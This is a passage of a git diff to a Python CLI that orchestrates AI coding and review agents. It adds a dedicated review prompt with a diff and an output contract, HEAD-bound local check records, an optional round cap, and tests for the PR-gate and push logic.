tool from this absolute path:\n" + f"`{abs_diff}`\n\n" + f"Changed paths: {paths_line}\n\n" + f"Unified diff (also embedded for convenience; the Read path is required):\n\n" + f"```diff\n{diff_text if diff_text.strip() else '(empty diff)'}\n```\n\n" + f"# Dimension\n\n" + f"{dimension}\n\n" + f"# Context\n\n" + f"{context}\n" + f"# Output contract\n\n" + f"End with exactly one terminal report in this shape (verbatim headers):\n\n" + f"```\n{_REVIEW_OUTPUT_CONTRACT}\n```\n\n" + f"`FINDINGS: 0` (or `none`) is a valid, expected result when " + f"`STATUS: complete` and nothing is wrong.\n\n" + f"Do not execute software — no tests, builds, package managers, shells, " + f"or project scripts. Read/Grep/Glob only. Cite every finding with " + f"`Datei:Zeile` / `file:line`. If a judgment needs a test run, put the " + f"command under NOT-VERIFIABLE instead of running it.\n" + ) + spec_path.write_text(body, encoding="utf-8") + return str(spec_path) + + def _reset_keys(store: Any, tid: str, keys: tuple[str, ...], *, evidence: str) -> None: checklist = { str(r["key"]): str(r["status"]) @@ -274,17 +434,17 @@ def _resolve_gate_head( def _apply_rejection_resets( - store: Any, + store: Store, tid: str, role: str, *, - round_cap: int, + round_cap: int | None, evidence: str, ) -> RunOutcome: """Reset checklist keys then round-start, or fail on cap (no reset).""" task = store.row("task", tid) current = int((task or {}).get("current_round") or 0) - if current >= round_cap: + if round_cap is not None and current >= round_cap: cap_msg = f"round cap {round_cap} reached (current_round={current})" # Persist reason in the ledger (check fail also sets task state failed). _check_record( @@ -404,7 +564,7 @@ def _finish_agent_pass( def _finish_agent_fail( - store: Any, + store: Store, tid: str, *, role: str, @@ -414,9 +574,9 @@ def _finish_agent_fail( result: LaneResult, step: Step, findings_text: str, - round_cap: int, + round_cap: int | None, cwd: str | None = None, - exec_argv: Callable[..., Any] | None = None, + exec_argv: ExecArgv | None = None, ) -> RunOutcome: from . import main as main_mod @@ -467,7 +627,7 @@ def _finish_agent_fail( def _lane_retry_then_fail( - store: Any, + store: Store, tid: str, *, role: str, @@ -478,10 +638,10 @@ def _lane_retry_then_fail( spec_file: str, cwd: str, tmux: bool, - runner: Any, + runner: LaneRunner | None, first: LaneResult, - round_cap: int, - exec_argv: Callable[..., Any] | None = None, + round_cap: int | None, + exec_argv: ExecArgv | None = None, ) -> RunOutcome: """Re-invoke launch once; on second unparseable/non-pass, fail the task.""" second = launch( @@ -528,6 +688,19 @@ def _lane_retry_then_fail( # problem. Leave the task untouched for retry; only genuinely unparseable/ambiguous # output (status != "unavailable") still fails the task per the mechanical rule below. if second.status == "unavailable": + # Release the working agent without a task-state transition so a later + # scan / manual round-start is not blocked by a stuck "working" row. + from . import main as main_mod + + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish( + str(working["id"]), + "unavailable", + note=f"vendor CLI unavailable ({vendor} {role})", + ) return RunOutcome( kind="vendor_unavailable", key=step.key, @@ -576,7 +749,7 @@ def _lane_retry_then_fail( def execute_spine_step( - store: Any, + store: Store, tid: str, *, head: str | None = None, @@ -584,11 +757,15 @@ def execute_spine_step( spec_file: str | None = None, cwd: str | None = None, tmux: bool = True, - runner: Any = None, - round_cap: int = DEFAULT_ROUND_CAP, - exec_argv: Callable[..., Any] | None = None, + runner: LaneRunner | None = None, + round_cap: int | None = None, + exec_argv: ExecArgv | None = None, ) -> RunOutcome: - """Execute the single open spine step for tid. No print/die/SystemExit.""" + """Execute the single open spine step for tid. + + `round_cap=None` means unbounded (interactive `agent run`). The fixer + passes an explicit int (DEFAULT_ROUND_CAP). + """ from . import main as main_mod if exec_argv is None: @@ -685,48 +862,75 @@ def execute_spine_step( head_sha=head, ) - if step.key == "local_check_pass" and not snap["local_checks"]: + if step.key == "local_check_pass": run_cwd = cwd or os.getcwd() - env_cmd = os.environ.get("AGENT_CHECK_COMMAND") - if env_cmd is None: - command = "pytest -q" - elif env_cmd == "": - return RunOutcome( - kind="failed", - key=step.key, - step=step, - reason="AGENT_CHECK_COMMAND is set but empty", - message="AGENT_CHECK_COMMAND is set but empty", + # Bind validity to the worktree HEAD (not merely "any prior pass row"). + check_head = "" + completed_head = exec_argv(["git", "rev-parse", "HEAD"], cwd=run_cwd) + sha = str(getattr(completed_head, "stdout", "") or "").strip().lower() + if int(getattr(completed_head, "returncode", 1)) == 0 and _SHA_RE.fullmatch( + sha + ): + check_head = sha + if not check_head: + check_head = _resolve_gate_head( + store, tid, head, cwd=run_cwd, exec_argv=exec_argv ) - else: - command = env_cmd - argv = shlex.split(command) - if not argv: - return RunOutcome( - kind="failed", - key=step.key, - step=step, - reason="check command is empty", - message="check command is empty", - ) - completed = exec_argv(argv, cwd=run_cwd) - result = "pass" if completed.returncode == 0 else "fail" - output = ((completed.stdout or "") + (completed.stderr or ""))[:8000] - _check_record( - tid=tid, - name="local", - command=command, - result=result, - output=output or "(no output)", - ) - if result == "fail": - return RunOutcome( - kind="local_check_failed", - key=step.key, - step=step, - message="local_check fail", + has_fresh = False + if check_head: + for c in snap.get("local_checks") or []: + if not isinstance(c, dict): + continue + if str(c.get("name") or "") != "local": + continue + row_head = str(c.get("head_sha") or "").strip().lower() + if row_head and row_head == check_head: + has_fresh = True + break + if not has_fresh: + env_cmd = os.environ.get("AGENT_CHECK_COMMAND") + if env_cmd is None: + command = "pytest -q" + elif env_cmd == "": + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason="AGENT_CHECK_COMMAND is set but empty", + message="AGENT_CHECK_COMMAND is set but empty", + ) + else: + command = env_cmd + argv = shlex.split(command) + if not argv: + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason="check command is empty", + message="check command is empty", + ) + completed = exec_argv(argv, cwd=run_cwd) + result = "pass" if completed.returncode == 0 else "fail" + output = ((completed.stdout or "") + (completed.stderr or ""))[:8000] + _check_record( + tid=tid, + name="local", + command=command, + result=result, + output=output or "(no output)", + head=check_head or None, ) - snap = main_mod._chain_snapshot(store, tid, extra_head=head) + if result == "fail": + return RunOutcome( + kind="local_check_failed", + key=step.key, + step=step, + message="local_check fail", + ) + if check_head: + head = check_head + snap = main_mod._chain_snapshot(store, tid, extra_head=head) if step.kind == "agent": already = close_allowed( @@ -793,11 +997,22 @@ def execute_spine_step( vendor=vendor, round_num=round_num, ) + launch_spec = spec_file + if role in _REVIEW_ROLES: + launch_spec = build_review_spec_file( + store, + tid, + role=role, + round_num=round_num, + implement_spec_file=spec_file, + cwd=run_cwd, + exec_argv=exec_argv, + ) # OSError propagates to caller (fixer catches; cmd_run surfaces). result = launch( role=role, vendor=vendor, - spec_file=spec_file, + spec_file=launch_spec, cwd=run_cwd, runner=runner, tmux=tmux, @@ -844,7 +1059,7 @@ def execute_spine_step( round_num=round_num, head=head, step=step, - spec_file=spec_file, + spec_file=launch_spec, cwd=run_cwd, tmux=tmux, runner=runner, diff --git a/tests/test_chain.py b/tests/test_chain.py index eedde23..eec6c49 100644 --- a/tests/test_chain.py +++ b/tests/test_chain.py @@ -9,6 +9,7 @@ CHAINS, close_allowed, handoff_prompt, + is_error_fix_originated, next_steps, required_source, steps_for, @@ -298,6 +299,130 @@ def test_handoff_names_only_this_key(self) -> None: self.assertIn("close-step", text) self.assertNotIn("grok_pr_quality", text) + def test_error_fix_carve_out_needs_confirmed_fix(self) -> None: + """payload.error_id alone (no error_fix_confirmed) is not originated.""" + cl = _pending("implement") + cl["session_registered"] = "ja" + snap_seen_only = { + "payload": {"error_id": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"}, + "error_fix_confirmed": False, + } + self.assertFalse(is_error_fix_originated(snap_seen_only)) + denied = close_allowed( + "implement", + "spec_written", + checklist=cl, + source="script", + evidence="auto spec", + snapshot=snap_seen_only, + ) + self.assertFalse(denied.allowed) + + snap_confirmed = { + "payload": {"error_id": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"}, + "error_fix_confirmed": True, + } + self.assertTrue(is_error_fix_originated(snap_confirmed)) + allowed = close_allowed( + "implement", + "spec_written", + checklist=cl, + source="script", + evidence="auto spec", + snapshot=snap_confirmed, + ) + self.assertTrue(allowed.allowed) + + def test_error_fix_deviation_n_a_script_carve_out(self) -> None: + """Confirmed error-fix may script-author deviation_* only as n_a.""" + cl = _pending("implement") + for k in ( + "session_registered", + "spec_written", + "implementer_done", + "reviewer_approved", + "local_check_pass", + "pushed", + "grok_pr_quality", + "grok_pr_logic", + "codex_pr_quality", + "codex_pr_logic", + "contributing_ok", + ): + cl[k] = "ja" + snap = { + "payload": {"error_id": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"}, + "error_fix_confirmed": True, + } + evidence = "error-fix task: no CONTRIBUTING.md deviation, mechanically generated" + declared = close_allowed( + "implement", + "deviation_declared", + checklist=cl, + source="script", + evidence=evidence, + status="n_a", + snapshot=snap, + ) + self.assertTrue(declared.allowed) + cl["deviation_declared"] = "n_a" + granted = close_allowed( + "implement", + "deviation_granted", + checklist=cl, + source="script", + evidence=evidence, + status="n_a", + snapshot=snap, + ) + self.assertTrue(granted.allowed) + + cl["deviation_declared"] = "pending" + denied_ja = close_allowed( + "implement", + "deviation_declared", + checklist=cl, + source="script", + evidence=evidence, + status="ja", + snapshot=snap, + ) + self.assertFalse(denied_ja.allowed) + self.assertIn("source human", denied_ja.reason) + + def test_error_fix_deviation_n_a_denied_without_confirmed_fix(self) -> None: + """Without confirmed error.fix, deviation n_a still requires human source.""" + cl = _pending("implement") + for k in ( + "session_registered", + "spec_written", + "implementer_done", + "reviewer_approved", + "local_check_pass", + "pushed", + "grok_pr_quality", + "grok_pr_logic", + "codex_pr_quality", + "codex_pr_logic", + "contributing_ok", + ): + cl[k] = "ja" + snap_seen_only = { + "payload": {"error_id": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"}, + "error_fix_confirmed": False, + } + denied = close_allowed( + "implement", + "deviation_declared", + checklist=cl, + source="script", + evidence="no deviation", + status="n_a", + snapshot=snap_seen_only, + ) + self.assertFalse(denied.allowed) + self.assertIn("source human", denied.reason) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 45e51af..cbd1499 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -8,13 +8,14 @@ import pytest -from agent_cli.fixer_act import _drive_one, _runner_to_completed +from agent_cli.fixer_act import _drive_one, _pr_open_row_exists, _runner_to_completed from agent_cli.git_act import GitActError from agent_cli.lane import LaneResult, findings_header_present from agent_cli.runtime import Completed from agent_cli.store import Store from test_cli import _last_task_id, run from test_run import ( + _agents, _checklist, _finish_implementer, _finish_reviewer, @@ -329,6 +330,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] assert _checklist(tmp_path, tid).get("implementer_done") == before_checklist.get( "implementer_done" ) + assert not any(a.get("status") == "working" for a in _agents(tmp_path, tid)) def test_fixer_retries_pr_open_across_scans_after_insert_failure( @@ -450,3 +452,381 @@ def runner(argv: list[str]) -> Completed: completed = _runner_to_completed(runner, ["echo", "hi"], cwd=None) assert completed.stdout == "from-runner" assert seen == [["echo", "hi"]] + + +def _pass_lane(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "pr-reviewer-quality") + vendor = str(kwargs.get("vendor") or "grok") + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + +def test_fixer_drives_error_fix_task_to_done( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Happy path: error-fix task reaches done with deviation_* closed n_a.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", lambda *, cwd, runner: pushed_sha + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + lambda *a, **k: [], + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert result.endswith("done") or " done" in result + assert _task_state(tmp_path, tid) == "done" + cl = _checklist(tmp_path, tid) + assert cl["contributing_ok"] == "ja" + assert cl["deviation_declared"] == "n_a" + assert cl["deviation_granted"] == "n_a" + + +def test_fixer_pr_gate_rejection_clears_head_for_new_push( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """PR-gate rejection drops stale head so a genuinely new push sha is accepted.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + shas = [ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + ] + push_calls = {"n": 0} + rejects = {"n": 0} + + def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + i = push_calls["n"] + push_calls["n"] += 1 + return shas[min(i, len(shas) - 1)] + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if ( + role == "pr-reviewer-quality" + and vendor == "grok" + and rejects["n"] == 0 + ): + rejects["n"] += 1 + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS:\n- fix the retry loop\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + lambda *a, **k: [], + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + result = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert "does not match pushed sha" not in result + assert _checklist(tmp_path, tid)["pushed"] == "ja" + assert _task_state(tmp_path, tid) == "done" + gates = _gates(tmp_path, tid) + approved_gq = [ + g + for g in gates + if g.get("vendor") == "grok" + and g.get("dimension") == "quality" + and g.get("verdict") == "approved" + ] + assert approved_gq, "expected a final approved grok/quality gate" + approved_gq.sort(key=lambda g: str(g.get("recorded_at") or "")) + assert str(approved_gq[-1].get("head_sha") or "").lower() == shas[1] + + +def test_fixer_pr_gate_rejection_clears_head_before_next_step( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Head must be None on the first execute_spine_step call after a PR-gate + rejection -- asserted directly on that call's head kwarg, not inferred from + a later step succeeding (which could pass via local_check_pass's incidental + git-rev-parse correction instead of the real fix).""" + import agent_cli.fixer_act as fixer_mod + + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + shas = [ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + ] + push_calls = {"n": 0} + rejects = {"n": 0} + + def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] + i = push_calls["n"] + push_calls["n"] += 1 + return shas[min(i, len(shas) - 1)] + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if role == "pr-reviewer-quality" and vendor == "grok" and rejects["n"] == 0: + rejects["n"] += 1 + return LaneResult( + role=role, vendor=vendor, status="complete", argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS:\n- fix the retry loop\n", + stderr="", + ) + return LaneResult( + role=role, vendor=vendor, status="complete", argv=[vendor], + returncode=0, stdout="STATUS: complete\nFINDINGS: none\n", stderr="", + ) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", lambda *a, **k: [] + ) + + calls: list[tuple[str | None, str, str | None]] = [] + real_execute = fixer_mod.execute_spine_step + + def spy_execute(*args, **kwargs): # type: ignore[no-untyped-def] + outcome = real_execute(*args, **kwargs) + calls.append((kwargs.get("head"), outcome.kind, outcome.key)) + return outcome + + monkeypatch.setattr("agent_cli.fixer_act.execute_spine_step", spy_execute) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + _drive_one( + store, task, runner=lambda argv: Completed(0, "", ""), + round_cap=5, lane_runner=None, + ) + finally: + store.close() + + reject_idx = next( + i for i, (_, kind, key) in enumerate(calls) + if kind == "rejected_new_round" and key != "reviewer_approved" + ) + assert reject_idx + 1 < len(calls), ( + "expected a further execute_spine_step call after the PR-gate rejection" + ) + next_head, _next_kind, _next_key = calls[reject_idx + 1] + assert next_head is None, ( + "head must be None on the first execute_spine_step call after a " + f"PR-gate rejection; got {next_head!r} (stale rehydration bug)" + ) + + +def test_fixer_inner_reviewer_rejection_keeps_head( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Inner reviewer rejection must not clear the threaded pushed head.""" + import agent_cli.fixer_act as fixer_mod + + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "cccccccccccccccccccccccccccccccccccccccc" + real_ensure = fixer_mod._ensure_done_readiness + real_execute = fixer_mod.execute_spine_step + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", lambda *, cwd, runner: pushed_sha + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + lambda *a, **k: [], + ) + # Stop short of done so gates (and thus recoverable head_sha) remain. + monkeypatch.setattr( + "agent_cli.fixer_act._ensure_done_readiness", lambda *a, **k: None + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + first = _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + assert "done-blocked" in first or _checklist(tmp_path, tid)["pushed"] == "ja" + assert _checklist(tmp_path, tid)["pushed"] == "ja" + + for row in store.rows("checklist_item"): + if row.get("task_id") == tid and row.get("key") in ( + "implementer_done", + "reviewer_approved", + ): + row = dict(row) + row["status"] = "pending" + row["evidence"] = "reopen for inner-reviewer head test" + store.write( + "checklist_item", + "update", + row["id"], + {k: v for k, v in row.items() if not str(k).startswith("_")}, + ) + finally: + store.close() + + seen_heads: list[str | None] = [] + + def spy(*a, **kw): # type: ignore[no-untyped-def] + seen_heads.append(kw.get("head")) + return real_execute(*a, **kw) + + rejects = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if role == "reviewer" and rejects["n"] == 0: + rejects["n"] += 1 + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS:\n- fix the retry loop\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr("agent_cli.fixer_act.execute_spine_step", spy) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._ensure_done_readiness", real_ensure) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert _checklist(tmp_path, tid)["pushed"] == "ja" + assert seen_heads, "expected execute_spine_step calls" + assert all(h == pushed_sha for h in seen_heads), seen_heads + assert None not in seen_heads + + +def test_pr_open_row_exists_excludes_error_status( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """An existing pr.open with execution_status=error must not count as present.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + head = f"error-fix-{ERROR_ID[:8]}" + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + activity_id = str(uuid.uuid4()) + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": task["session_id"], + "type": "pr.open", + "payload": {"head": head, "repo": "org/app", "title": "x", "body": "y"}, + "execution_status": "error", + }, + ) + assert _pr_open_row_exists(store, head=head) is False + finally: + store.close() diff --git a/tests/test_git_act.py b/tests/test_git_act.py index d8c51cf..4e3278b 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -127,7 +127,48 @@ def runner(argv: list[str]) -> Completed: push_branch(cwd=CWD, runner=runner) -def test_push_no_upstream() -> None: +SET_UPSTREAM_PUSH = [ + "git", + "-C", + CWD, + "push", + "--set-upstream", + "--", + "origin", + "HEAD:refs/heads/feat-x", +] + + +def test_push_no_upstream_sets_upstream_with_origin() -> None: + """Fresh branch (no @{upstream}): push --set-upstream to the sole origin remote.""" + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + _assert_git_c(argv) + if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: + return Completed(0, "feat-x\n", "") + if "--porcelain" in argv: + return Completed(0, "", "") + if "@{upstream}" in argv: + return Completed(1, "", "no upstream configured") + if argv == ["git", "-C", CWD, "remote"]: + return Completed(0, "origin\n", "") + if argv == SET_UPSTREAM_PUSH: + return Completed(0, "", "") + if argv == ["git", "-C", CWD, "rev-parse", "HEAD"]: + return Completed(0, SHA + "\n", "") + raise AssertionError(f"unexpected argv: {argv}") + + got = push_branch(cwd=CWD, runner=runner) + assert got == SHA + assert SET_UPSTREAM_PUSH in calls + for argv in calls: + for flag in FORCE_FLAGS: + assert flag not in argv + + +def test_push_no_upstream_ambiguous_remotes_errors() -> None: def runner(argv: list[str]) -> Completed: if "rev-parse" in argv and "--abbrev-ref" in argv and "HEAD" in argv: return Completed(0, "feat-x\n", "") @@ -135,9 +176,11 @@ def runner(argv: list[str]) -> Completed: return Completed(0, "", "") if "@{upstream}" in argv: return Completed(1, "", "no upstream configured") + if argv == ["git", "-C", CWD, "remote"]: + return Completed(0, "upstream\nfork\n", "") raise AssertionError(f"unexpected argv: {argv}") - with pytest.raises(GitActError, match="no upstream"): + with pytest.raises(GitActError, match="ambiguous remotes"): push_branch(cwd=CWD, runner=runner) diff --git a/tests/test_lane.py b/tests/test_lane.py index 1a5c62e..a65d4f0 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -13,6 +13,7 @@ _run_in_tmux, codex_argv, grok_argv, + has_single_terminal_report, launch, parse_status, tmux_wrap_argv, @@ -157,6 +158,25 @@ def test_parse_status_rc_zero_partial() -> None: assert parse_status("no status here", 0) == "partial" +def test_has_single_terminal_report_accepts_one_block() -> None: + text = "STATUS: complete\nFINDINGS: none\n" + assert has_single_terminal_report(text) is True + + +def test_has_single_terminal_report_rejects_example_plus_real() -> None: + """Early example STATUS/FINDINGS plus a real report → unparseable.""" + text = ( + "Example format:\n" + "STATUS: complete\n" + "FINDINGS: none\n" + "\n" + "FINDINGS:\n" + "- real bug in foo.py:1\n" + "STATUS: complete\n" + ) + assert has_single_terminal_report(text) is False + + def test_launch_dry_run_does_not_call_runner(tmp_path: Path) -> None: spec = tmp_path / "spec.md" spec.write_text("do the thing\n", encoding="utf-8") diff --git a/tests/test_run.py b/tests/test_run.py index 8c371f6..ec151ba 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -195,7 +195,7 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: out = capsys.readouterr().out assert "local_check_pass" in out assert seen - assert seen[0][0] == "pytest" + assert any(a and a[0] == "pytest" for a in seen) assert _checklist(tmp_path, tid)["local_check_pass"] == "ja" assert any( c.get("name") == "local" and c.get("result") == "pass" @@ -261,7 +261,7 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: monkeypatch.setenv("AGENT_CHECK_COMMAND", "true") monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) run(tmp_path, ["run", "--task", tid]) - assert seen == [["true"]] + assert ["true"] in seen def test_run_dry_run_skips_local_check( @@ -757,3 +757,270 @@ def fake_push(*, cwd: str, runner): # type: ignore[no-untyped-def] run(tmp_path, ["run", "--task", tid]) capsys.readouterr() assert _checklist(tmp_path, tid)["mergeable"] == "ja" + + +def test_interpret_lane_rejects_multiple_report_blocks() -> None: + """Early example STATUS/FINDINGS + real FINDINGS with a bug must not pass.""" + from agent_cli.lane import LaneResult + from agent_cli.run_core import _interpret_lane + + stdout = ( + "Example format:\n" + "STATUS: complete\n" + "FINDINGS: none\n" + "\n" + "FINDINGS:\n" + "- real bug in foo.py:1\n" + "STATUS: complete\n" + ) + result = LaneResult( + role="reviewer", + vendor="grok", + status="complete", + argv=["grok"], + returncode=0, + stdout=stdout, + stderr="", + ) + decision, _findings = _interpret_lane("reviewer", result) + assert decision != "pass" + assert decision == "retry" + + +def test_reviewer_gets_distinct_review_spec_with_diff_and_contract( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Reviewer launch must receive a review prompt, not the implementer .spec.md.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + impl_spec = tmp_path / "implement-spec.md" + impl_spec.write_text("# Task\n\nImplement the feature.\n", encoding="utf-8") + captured: dict[str, str] = {} + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + path = str(kwargs.get("spec_file") or "") + captured["spec_file"] = path + body = Path(path).read_text(encoding="utf-8") + captured["body"] = body + return LaneResult( + role="reviewer", + vendor="grok", + status="complete", + argv=["grok"], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(impl_spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + capsys.readouterr() + assert captured.get("spec_file") + assert Path(captured["spec_file"]).resolve() != impl_spec.resolve() + body = captured["body"] + assert "Implement the feature" in body # context includes implementer spec + assert "diff --git a/src/foo.py" in body + assert "STATUS: complete | partial | timeout | unavailable" in body + assert "FINDINGS:" in body + assert "FINDINGS: 0" in body or "`FINDINGS: 0`" in body + assert _checklist(tmp_path, tid)["reviewer_approved"] == "ja" + + +def test_execute_spine_step_unbounded_round_cap_without_kwarg( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """cmd_run path (no round_cap kwarg) must not fail at 5 rejection rounds.""" + from agent_cli.run_core import execute_spine_step + + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + calls = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + calls["n"] += 1 + return LaneResult( + role="reviewer", + vendor="grok", + status="complete", + argv=["grok"], + returncode=0, + stdout="STATUS: complete\nFINDINGS:\n- still broken\n", + stderr="", + ) + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if "diff" in argv: + return Completed(0, "diff --git a/x b/x\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.main._exec_argv", fake_exec) + + store = _store(tmp_path) + try: + # Drive more than 5 rejection rounds the way cmd_run calls execute_spine_step + # (no round_cap kwarg → unbounded). + for _ in range(6): + # Re-open reviewer step after each rejection by ensuring implementer is done. + task = store.row("task", tid) + assert task is not None + # After rejection, implementer_done is nein — finish implementer again. + cl = _checklist(tmp_path, tid) + if 